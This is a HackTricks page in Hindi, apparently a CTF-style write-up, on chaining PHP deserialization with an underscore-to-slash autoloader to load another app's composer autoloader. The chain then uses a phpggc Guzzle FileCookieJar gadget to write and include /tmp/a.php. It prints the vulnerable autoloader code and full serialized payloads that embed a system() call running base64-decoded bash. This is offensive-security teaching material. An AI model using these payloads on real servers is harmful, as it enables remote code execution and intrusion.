14 KiB
PHP - Deserialization + Autoload Classes
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- अपनी हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में PRs सबमिट करके.
सबसे पहले, आपको यह जांचना चाहिए कि Autoloading Classes क्या हैं।
PHP deserialization + spl_autoload_register + LFI/Gadget
हम एक परिस्थिति में हैं जहां हमने एक PHP deserialization वेबऐप में पाया है जिसमें phpggc
के अंदर कोई भी लाइब्रेरी गैजेट्स के लिए असुरक्षित नहीं है। हालांकि, उसी कंटेनर में एक अलग कंपोजर वेबऐप था जिसमें असुरक्षित लाइब्रेरीज थीं। इसलिए, लक्ष्य था दूसरे वेबऐप के कंपोजर लोडर को लोड करना और उसका उपयोग करके एक गैजेट को लोड करना जो उस लाइब्रेरी का उपयोग करके गैजेट के साथ शोषण करेगा जो deserialization के लिए असुरक्षित वेबऐप है।
चरण:
- आपने एक deserialization पाया है और वर्तमान ऐप कोड में कोई भी गैजेट नहीं है
- आप
spl_autoload_register
फंक्शन का उपयोग करके किसी भी स्थानीय फाइल को.php
एक्सटेंशन के साथ लोड कर सकते हैं - इसके लिए आप एक deserialization का उपयोग करते हैं जहां क्लास का नाम
$name
के अंदर होगा। आप क्लास नाम में "/" या "." का उपयोग नहीं कर सकते serialized object में, लेकिन कोड underscores ("_") को slashes ("/") से बदल रहा है। इसलिए एक क्लास नाम जैसेtmp_passwd
को/tmp/passwd.php
में बदल दिया जाएगा और कोड उसे लोड करने की कोशिश करेगा।
एक गैजेट उदाहरण होगा:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
यदि आपके पास फाइल अपलोड है और आप .php
एक्सटेंशन वाली फाइल अपलोड कर सकते हैं, तो आप सीधे इस कार्यक्षमता का दुरुपयोग कर सकते हैं और RCE प्राप्त कर सकते हैं।
{% endhint %}
मेरे मामले में, ऐसा कुछ नहीं था, लेकिन उसी कंटेनर के अंदर एक और कंपोजर वेब पेज था जिसमें एक phpggc
गैजेट के लिए असुरक्षित लाइब्रेरी थी।
- इस अन्य लाइब्रेरी को लोड करने के लिए, पहले आपको उस अन्य वेब ऐप के कंपोजर लोडर को लोड करना होगा (क्योंकि वर्तमान एप्लिकेशन का वाला दूसरे की लाइब्रेरीज तक पहुँच नहीं सकता।) एप्लिकेशन का पथ जानकर, आप बहुत आसानी से यह कर सकते हैं:
O:28:"www_frontend_vendor_autoload":0:{}
(मेरे मामले में, कंपोजर लोडर/www/frontend/vendor/autoload.php
में था) - अब आप दूसरे ऐप के कंपोजर लोडर को लोड कर सकते हैं, इसलिए अब समय है
phpggc
पेलोड जेनरेट करने का। मेरे मामले में, मैंनेGuzzle/FW1
का उपयोग किया, जिसने मुझे फाइल सिस्टम के अंदर कोई भी फाइल लिखने की अनुमति दी। - ध्यान दें: जेनरेट किया गया गैजेट काम नहीं कर रहा था, इसे काम करने के लिए मैंने phpggc के
chain.php
पेलोड को संशोधित किया और सभी क्लासेस के एट्रिब्यूट्स को निजी से सार्वजनिक में बदल दिया। अन्यथा, स्ट्रिंग को डिसीरियलाइज करने के बाद, बनाई गई ऑब्जेक्ट्स के एट्रिब्यूट्स में कोई मान नहीं होते थे। - अब हमारे पास दूसरे ऐप के कंपोजर लोडर को लोड करने का तरीका है और एक काम करने वाला
phpggc
पेलोड भी है, लेकिन हमें इसे एक ही अनुरोध में करने की जरूरत है ताकि लोडर गैजेट के इस्तेमाल के समय लोड हो जाए। इसके लिए, मैंने दोनों ऑब्जेक्ट्स के साथ एक सीरियलाइज्ड ऐरे भेजा जैसे: - आप देख सकते हैं पहले लोडर लोड हो रहा है और फिर पेलोड
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- अब, हम फाइल बना और लिख सकते हैं, परंतु उपयोगकर्ता वेब सर्वर के अंदर किसी भी फोल्डर में लिख नहीं सकता। इसलिए, जैसा कि आप पेलोड में देख सकते हैं, PHP
system
को कुछ base64 के साथ कॉल करता है जो/tmp/a.php
में बनाया गया है। फिर, हम पहले प्रकार के पेलोड का पुन: उपयोग कर सकते हैं जिसे हमने LFI के रूप में इस्तेमाल किया था ताकि दूसरे वेबऐप के कंपोजर लोडर को लोड कर सकें ताकि उत्पन्न/tmp/a.php
फाइल को लोड कर सकें। बस इसे डिसेरियलाइजेशन गैजेट में जोड़ दें:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
पेलोड का सारांश
- एक ही कंटेनर में अलग वेबऐप का कंपोजर ऑटोलोड लोड करें
- दूसरे वेबऐप की लाइब्रेरी का दुरुपयोग करने के लिए phpggc गैजेट लोड करें (प्रारंभिक वेबऐप जो डिसेरियलाइजेशन के लिए संवेदनशील था, उसकी लाइब्रेरीज में कोई गैजेट नहीं था)
- गैजेट /tmp/a.php में एक PHP पेलोड वाली फाइल बनाएगा जिसमें दुर्भावनापूर्ण कमांड होंगे (वेबऐप यूजर किसी भी वेबऐप के किसी भी फोल्डर में लिख नहीं सकता)
- हमारे पेलोड का अंतिम भाग जनरेटेड PHP फाइल को लोड करेगा जो कमांड्स को निष्पादित करेगा
मुझे इस डिसेरियलाइजेशन को दो बार कॉल करने की आवश्यकता थी। मेरे परीक्षण में, पहली बार /tmp/a.php
फाइल बनी थी लेकिन लोड नहीं हुई थी, और दूसरी बार यह सही ढंग से लोड हुई थी।
htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से लेकर हीरो तक यहाँ क्लिक करें!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
- 💬 Discord group में शामिल हों या telegram group या Twitter पर 🐦 @carlospolopm को फॉलो करें।
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।